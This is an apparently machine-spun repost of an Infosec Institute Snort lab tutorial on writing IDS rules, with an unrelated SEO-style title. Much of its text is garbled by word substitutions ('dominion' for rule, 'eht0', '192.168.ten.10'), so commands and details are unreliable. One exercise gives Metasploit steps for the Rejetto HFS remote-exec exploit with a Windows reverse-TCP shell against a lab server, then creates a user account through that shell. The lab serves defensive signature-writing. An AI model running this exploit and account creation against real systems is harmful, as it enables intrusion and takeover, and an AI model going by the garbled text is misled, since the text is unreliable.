Ips Detection Alert: Info Php File Http Upload 1

In this serial of lab exercises, we will demonstrate various techniques in writing Snort rules, from bones rules syntax to writing rules aimed at detecting specific types of attacks. We will also examine some basic approaches to rules functioning analysis and optimization.

Exercise 1: Snort as an IDS

Snort is near well known as an IDS. From the snort.org website:

"Snort® is an open source network intrusion prevention and detection organisation (IDS/IPS) developed by Sourcefire. Combining the benefits of signature, protocol, and anomaly-based inspection, Snort is the most widely deployed IDS/IPS technology worldwide. With millions of downloads and almost 400,000 registered users, Snort has become the de facto standard for IPS."

Information technology should also exist mentioned that Sourcefire was acquired by Cisco in early October 2013.

Snort can essentially run in three unlike modes: IDS mode, logging mode and sniffer manner. We are going to be using Snort in this part of the lab in IDS fashion, then afterward use it as a packet logger. We'll exist using the Ubuntu Server VM, the Windows Server 2012 R2 VM and the Kali Linux VM for this lab.

You take Snort version 2.ix.viii installed on your Ubuntu Server VM. Launch your Ubuntu Server VM, log on with credentials provided at the offset of this guide and open a terminal shell by double-clicking the Desktop shortcut. (Alternatively, yous can press Ctrl+Alt+T to open a new vanquish.)

To verify the Snort version, type in snort -V and striking Enter.

Side by side, we need to configure our HOME_NET value: the network nosotros volition exist protecting. Kickoff, enter ifconfig in your final shell to run across the network configuration. Annotation the IP accost and the network interface value. Encounter the paradigm below (your IP may be different).

Next, type the following command to open the snort configuration file in gedit text editor:

sudo gedit /etc/snort/snort.conf

Enter the countersign for Ubuntu Server. When the snort.conf file opens, scroll down until you discover the ipvar HOME_NET setting. You'll want to change the IP address to exist your actual class C subnet. Currently, it should be 192.168.132.0/24. Y'all'll simply alter the IP address part to friction match your Ubuntu Server VM IP, making sure to leave the ".0/24 ″ on the end.

Select Save from the bar on peak and close the file. At this signal, Snort is ready to run. Except, information technology doesn't accept whatever rules loaded. To verify, run the post-obit command:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Here nosotros are telling Snort to exam ( -T ) the configuration file ( -c points to its location) on the eth0 interface (enter your interface value if information technology'south different). This will produce a lot of output. Scroll up until you come across "0 Snort rules read" (run across the epitome below).

Let'south walk through the syntax of this dominion:

Rule headers

• alert – Dominion action. Snort volition generate an warning when the set condition is met.
• any – Source IP. Snort will look at all sources.
• whatsoever – Source port. Snort will wait at all ports.
• -> – Management. From source to destination.
• $HOME_NET – Destination IP. We are using the HOME_NET value from the snort.conf file.
• any – Destination port. Snort volition look at all ports on the protected network.

Rule options:

• msg:"ICMP exam" – Snort will include this message with the alarm.
• sid:1000001 – Snort rule ID. Recall all numbers smaller than 1,000,000 are reserved; this is why we are starting with ane,000,001. (Y'all may use any number, as long as information technology'due south greater than one,000,000.)
• rev:ane – Revision number. This selection allows for easier dominion maintenance.
• classtype:icmp-issue – Categorizes the rule equally an "icmp-event", 1 of the predefined Snort categories. This option helps with rule organisation.

Click Save and close the file. Now let's run the Snort configuration exam command once again:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

If yous ringlet upwardly, you lot should see that one rule has been loaded.

At present, let's start Snort in IDS mode and tell it to display alerts to the console:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Once again, we are pointing Snort to the configuration file it should use ( -c ) and specifying the interface ( -i eth0 ). The -A console option prints alerts to standard output, and -q is for "tranquility" mode (not showing imprint and status written report). Yous shouldn't meet whatever output when y'all enter the control because Snort hasn't detected any activity specified in the rule we wrote.

Allow's generate some action and come across if our rule is working.

Launch your Kali Linux VM. You lot may demand to enter startx afterwards entering credentials to get to the GUI. Once there, open a last shell by clicking the icon on the meridian bill of fare bar.

Now start pinging your Ubuntu Server with the following command (use your Ubuntu Server IP instead of .ten.ten ):

ping 192.168.ten.10

Let it run for a couple of seconds and hitting Ctrl+C to end and return to prompt.

Now return to your Ubuntu Server running Snort IDS. You should see alerts generated for every ICMP Echo request and Echo respond message, with the message text we specified in the msg choice:

We can besides see the source IP address of the host responsible for the alert-generating action. In the instance above, it is 192.168.132.133; yours may be different (merely it will be the IP of your Kali Linux VM). Our test rule is working! Hit Ctrl+C to stop Snort and return to prompt.

Now let's write some other rule, this fourth dimension, a bit more than specific. Open our local.rules file in a text editor:

sudo gedit /etc/snort/rules/local.rules

First, let'due south comment out our outset rule. Put a pound sign (#) in front of information technology. On a new line, write the following rule (using your Kali Linux IP for x.ten ):

alarm tcp 192.168.x.x any -> $HOME_NET 21 (msg:"FTP connectedness attempt"; sid:1000002; rev:1;)

Here we changed the protocol to TCP, used a specific source IP, set the destination port number to 21 (default port for FTP connections) and changed the alert bulletin text. Salve and close the file. Now allow'south run Snort in IDS mode again, but this time, we are going to add i more option, as follows:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

Nosotros are telling Snort to log generated alerts in the ASCII format rather than the default pcap. Once Snort is running (once more, yous won't see any output right away), go to your Kali Linux VM and enter the following command in a terminal crush (using your Ubuntu Server IP address):

ftp 192.168.x.x

Go back to Ubuntu Server. Yous should run across that an alert has been generated.

To make certain that the dominion is not generating any false positives, you lot can open another terminal shell on Ubuntu Server VM and try connecting to the same FTP server. You shouldn't see whatsoever new alerts. Hit Ctrl+C to stop Snort.

Now run the following control to do the listing of the Snort log directory:

ls /var/log/snort

Y'all should see something similar to the following image:

The snort.log.* file (you may accept more than than ane if you lot generated more than one warning-generating activity before) is the .pcap log file. Information technology cannot be read with a text editor. The IP address that you come across (yours volition be different from the image) is the source IP for the alarm we just saw for our FTP rule. It is a directory. Let's run into what's inside:

sudo ls /var/log/snort/192.168.x.x

Y'all can see there'due south a file there named afterward the protocol (TCP) and the port numbers involved in the activity. We can read this file with a text editor or just use the true cat control:

sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

Nosotros get the same data every bit nosotros saw in the console output with some additional details.

How about the .pcap files? We can use Wireshark, a pop network protocol analyzer, to examine those. Enter sudo wireshark to start the programme. Click OK to acknowledge the error/warning messages that pop upwards. Once at the Wireshark main window, go to File → Open.

Browse to the /var/log/snort directory, select the snort.log.* file and click Open.

A lot more information hither! Click to expand whatsoever of the items in the middle pane. At present we tin look at the contents of each packet.

Close Wireshark. We will use it a lot throughout the labs.

For our next rule, let'southward write one that looks for some content, in addition to protocols, IPs and port numbers. First, we demand to generate some activity that will provide us with the content needed for a rule.

Launch your Windows Server 2012 R2 VM and log in with credentials provided at the beginning of this guide. This VM has an FTP server running on it. Offset, find out the IP address of your Windows Server 2102 R2 VM. You can practice this past opening the control prompt from the desktop shortcut and inbound ipconfig .

Note the "IPv4 Address" value (yours may be unlike from the image). Now go back to your Ubuntu Server VM and enter ftp 192.168.x.x (using the IP accost you just looked up). When prompted for name and password, just hit Enter. Examine the output.

Equally we can see, inbound invalid credentials results in a bulletin that says "Login or password wrong." At present we have enough information to write our rule. Enter quit to go out FTP and return to prompt. Open up our local.rules file again:

sudo gedit /etc/snort/rules/local.rules

Since we will be working with this file a lot, yous may leave information technology open and start upwards a new terminal shell to enter commands.

Add the following dominion on the new line:

alert tcp $HOME_NET 21 -> whatever any (msg:"FTP failed login"; content:"Login or password incorrect"; sid:1000003; rev:1;)

Detect that now we set the HOME_NET value as our source IP, because nosotros will be looking for the outgoing FTP server responses. Relieve the file. At present let'due south exam the rule. Offset Snort in IDS mode:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Now get to your Kali Linux VM and try connecting to the FTP server on Windows Server 2012 R2 (ftp 192.168.ten.x), entering any values for Proper name and Countersign. Enter quit to render to prompt. Get back to the Ubuntu Server VM. You should run across several alerts generated by both agile rules that nosotros have loaded into Snort. Striking CTRL+C to stop Snort.

Practice two: Snort equally a bundle logger

With the chop-chop changing attack mural and vectors out there today, nosotros might not even know what nosotros should be looking for until we've seen the set on. So perhaps, afterward examining that traffic, we could create a rule for that specific "new" set on. This is exactly how the default publicly-available Snort rules are created. Nosotros'll now run Snort in logging mode and run across what we're able to identify the traffic based on the attacks that nosotros practice.

In this exercise, we will simulate an assail on our Windows Server while running Snort in packet-logging mode. Then we will examine the logged packets to see if we can identify an attack signature.

Brand sure that all three VMs (Ubuntu Server, Windows Server and Kali Linux) are running. On your Kali Linux VM, enter the following into a terminal shell:

msfconsole

This will launch Metasploit Framework, a popular penetration testing platform. It will have a few seconds to load. Ignore the database connection error. Await until you see the msf> prompt. In one case there, enter the following series of commands:

apply exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/beat out/reverse_tcp

set LHOST 192.168.10.x (Kali Linux VM IP accost)

set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP address)

set RPORT 8081

Hither nosotros configured an exploit confronting a vulnerable version of Rejetto HFS HTTP File server that is running on our Windows Server 2012 R2 VM.

Before running the exploit, we need to beginning Snort in packet logging style. Become to your Ubuntu Server VM and enter the following control in a terminal trounce:

sudo snort -dev -q -l /var/log/snort -i eth0

You won't see any output. At present get back to the msf exploit you have configured on the Kali Linux VM and enter exploit . If the exploit was successful, you should terminate up with a command shell:

At present that we have access to the arrangement, let's practise the following:

Create a new user account:

net user accountname P@ssword12 /Add together

Change directories to c:

cd

Make a new directory that'due south your name.

mkdir yourname

Now press Ctrl+C and respond y for "yes" to close your command shell access.

Side by side, go to your Ubuntu Server VM and press Ctrl+C to terminate Snort. Enter sudo wireshark into your concluding beat out. In Wireshark, get to File → Open and browse to /var/log/snort. At this point we will have several snort.log.* files there. Select the 1 that was modified most recently and click Open.

Y'all should see quite a few packets captured.

Nosotros need to detect the ones related to our faux attack. In Wireshark, select Edit → Find Packet. On the resulting dialog, select the Cord radio button. Next, select Packet Bytes for the Search In criteria. Then, for the search cord, enter the username y'all created.

One time you've got the search dialog configured, click the Find button. The search should find the packet that contains the cord you searched for. Become ahead and select that packet. It volition be the nighttime orange colored one. Right-click information technology and select Follow TCP Stream.

This action should bear witness you lot all the commands that were entered in that TCP session. This volition include the creation of the account, as well equally the other actions.

After you've verified your results, get ahead and close the stream window. This should have you dorsum to the package you selected in the commencement. Now striking your up pointer until you see the ASCII part of your hex dump bear witness "C:UsersAdministratorDesktophfs2.3b>" in the bottom pane. Meet below.

Annotation the selected portion in the graphic higher up. We will use this content to create an alert that will permit us know when a command shell is being sent out to another host as a result of the Rejetto HFS exploit. Minimize the Wireshark window (don't close it just still).

Do 3: Edifice a custom rule from logged traffic

We want to see an warning show up anytime Snort sees "C:UsersAdministratorDesktophfs2.3b>." Go to our local.rules file (if yous airtight it, open it again as root, using the aforementioned control equally we did earlier) and add the following dominion on a new line (note that we are escaping all the backslashes to make certain they are included in the content):

alert tcp $HOME_NET any -> whatever any (msg:"Command Vanquish Admission"; content:"C:UsersAdministratorDesktophfs2.3b"; sid:1000004; rev:1;)

Save the file. Run Snort in IDS manner once more:

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Now become back to your Kali Linux VM. Y'all should notwithstanding exist at the prompt for the rejetto exploit. Just enter exploit to run it again. Wait until you get command beat out admission and render to the Snort terminal on Ubuntu Server. You should see that alerts accept been generated, based on our new rule:

Hit Ctrl+C on Kali Linux terminal and enter y to leave out of the control shell. Then hit Ctrl+C on the Ubuntu Server terminal to finish Snort.

In this case, nosotros take some human being-readable content to apply in our dominion. But that's non always the case.

Let'southward modify our rule so it looks for content that is represented in hex format. Offset, in our local.rules file, copy our latest rule and paste it below in the new line. Now comment out the old rule and change the "rev" value for the new rule to "2." Encounter below.

Bring up the Wireshark window with our capture again, with the same payload portion selected. Unfortunately, you lot cannot copy hex values direct from the Wireshark'southward main window, but in that location is an easy solution that will work for u.s.a.. With the needed content selected, right-click either the respective (highlighted) packet in the peak pane or the highlighted "Data:" entry in the middle pane and select Re-create → Bytes → Start Hex. See below.

Now, in our local.rules file, select the content argument (everything in between the quotation marks) in our new rule, right-click and click Paste. Now advisedly remove all extra spaces, line breaks and then on, leaving only the needed hex values. Then put the pipage symbols ( | ) on both sides. Your finished dominion should look similar the image below.

Save the file. Start Snort in IDS mode. Next, go to your Kali Linux VM and run the exploit again. Expect until you lot get the command trounce and look at Snort output. You should see alerts generated.

This time we run across two alerts instead of four considering we included the hex representation of the ">" symbol in the content, making the rule more specific.

Press Ctrl+C to stop Snort. So, on the Kali Linux VM, press Ctrl+C and enter y to exit out of the command trounce. Type in exit to return to the regular prompt.

This is just some of the basics of the Snort rule writing. Later we will await at some more than advanced techniques.

richardbeirate.blogspot.com

Source: https://resources.infosecinstitute.com/topic/snort-rules-workshop-part-one/

Share this post